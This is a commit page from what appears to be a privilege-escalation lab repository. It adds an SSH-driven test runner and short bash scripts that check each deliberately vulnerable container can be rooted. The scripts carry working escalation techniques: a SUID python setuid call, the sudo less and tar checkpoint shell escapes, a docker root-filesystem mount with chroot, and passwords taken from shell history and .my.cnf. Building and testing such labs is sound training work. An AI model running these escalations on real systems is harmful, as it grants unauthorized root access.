Skip to content

Commit 567a3c2

Browse files
add automated exploitability tests for all scenarios
1 parent 16edfdd commit 567a3c2

14 files changed

+141
-0
lines changed

docker/test.sh

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
#!/usr/bin/env bash
2+
# Automated exploitability tests for each PrivEsc scenario container.
3+
# Usage:
4+
# ./test.sh # run all scenario tests
5+
# ./test.sh 05_vuln_sudo_gtfo # run test for a single scenario
6+
# Prerequisites:
7+
# - Scenario containers launched via start.sh on localhost ports 5001-5013
8+
# - sshpass installed for non-interactive SSH logins
9+
10+
set -eo pipefail
11+
BASE_DIR="$(cd "$(dirname "$0")" && pwd)"
12+
BASE_PORT=5000
13+
SCEN="$1"
14+
15+
run_scenario() {
16+
local scenario="$1"
17+
local testfile="${BASE_DIR}/tests/${scenario}.sh"
18+
local idx=${scenario%%_*}
19+
local port=$((BASE_PORT + 10#$idx))
20+
echo "🧪 Testing $scenario on port $port..."
21+
local out
22+
out=$(sshpass -p trustno1 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null lowpriv@localhost -p "$port" bash < "$testfile" 2>/dev/null)
23+
24+
if [[ "$out" == "root" ]]; then
25+
echo " ✅ PASS (got '$out')"
26+
else
27+
echo " ❌ FAIL (got '$out')"
28+
exit 1
29+
fi
30+
}
31+
32+
echo "🔍 Running scenario exploitability tests via SSH..."
33+
if [[ -n "$SCEN" ]]; then
34+
if [[ ! -f "${BASE_DIR}/tests/${SCEN}.sh" ]]; then
35+
echo "Error: scenario '$SCEN' not found" >&2; exit 1
36+
fi
37+
run_scenario "$SCEN"
38+
exit
39+
fi
40+
41+
for testfile in "${BASE_DIR}"/tests/*.sh; do
42+
scenario=$(basename "$testfile" .sh)
43+
run_scenario "$scenario"
44+
done

docker/tests/01_vuln_suid_gtfo.sh

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
#!/usr/bin/env bash
2+
set -e
3+
4+
# Exploit SUID python binary: escalate to root and print whoami
5+
python3 - << 'EOF'
6+
import os
7+
os.setuid(0)
8+
os.execl('/bin/sh', 'sh', '-c', 'whoami')
9+
EOF
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
#!/usr/bin/env bash
2+
set -e
3+
4+
# Exploit shell history password leak: extract and su to root
5+
pass=$(grep "su root" /home/lowpriv/.bash_history | head -n1 | sed -n "s/^echo '\\(.*\\)' | su root.*$/\\1/p")
6+
echo "$pass" | su root -c whoami
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
#!/usr/bin/env bash
2+
set -e
3+
4+
# Exploit sudo no-password: run whoami as root
5+
sudo whoami
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
#!/usr/bin/env bash
2+
set -e
3+
4+
# Exploit sudo-gtfo interactive PTY: use script and less to escalate to root
5+
data=$(script -q /dev/null -c "sudo /usr/bin/less /etc/passwd" << 'EOF'
6+
!whoami
7+
q
8+
EOF
9+
)
10+
echo "$data" | grep -m1 -o root

docker/tests/05_vuln_sudo_gtfo.sh

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
#!/usr/bin/env bash
2+
set -e
3+
4+
# Exploit sudo-gtfo tar checkpoint: escalate to root via tar
5+
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec='sh -c whoami' 2>/dev/null

docker/tests/06_vuln_docker.sh

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
#!/usr/bin/env bash
2+
set -e
3+
4+
# Exploit docker group: use docker run and chroot to escalate to root
5+
docker run --rm -v /:/mnt alpine chroot /mnt whoami 2> /dev/null
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
#!/usr/bin/env bash
2+
set -e
3+
4+
# Exploit MySQL config password leak: extract and su to root
5+
data=$(grep -Po '(?<=password=).*' /home/lowpriv/.my.cnf)
6+
echo "$data" | su root -c whoami
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
#!/usr/bin/env bash
2+
set -e
3+
4+
# Exploit root password reuse: su to root with lowpriv password
5+
echo 'trustno1' | su root -c whoami
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
#!/usr/bin/env bash
2+
set -e
3+
4+
# Exploit weak root password: su to root with 'root'
5+
echo 'root' | su root -c whoami

0 commit comments

Comments
 (0)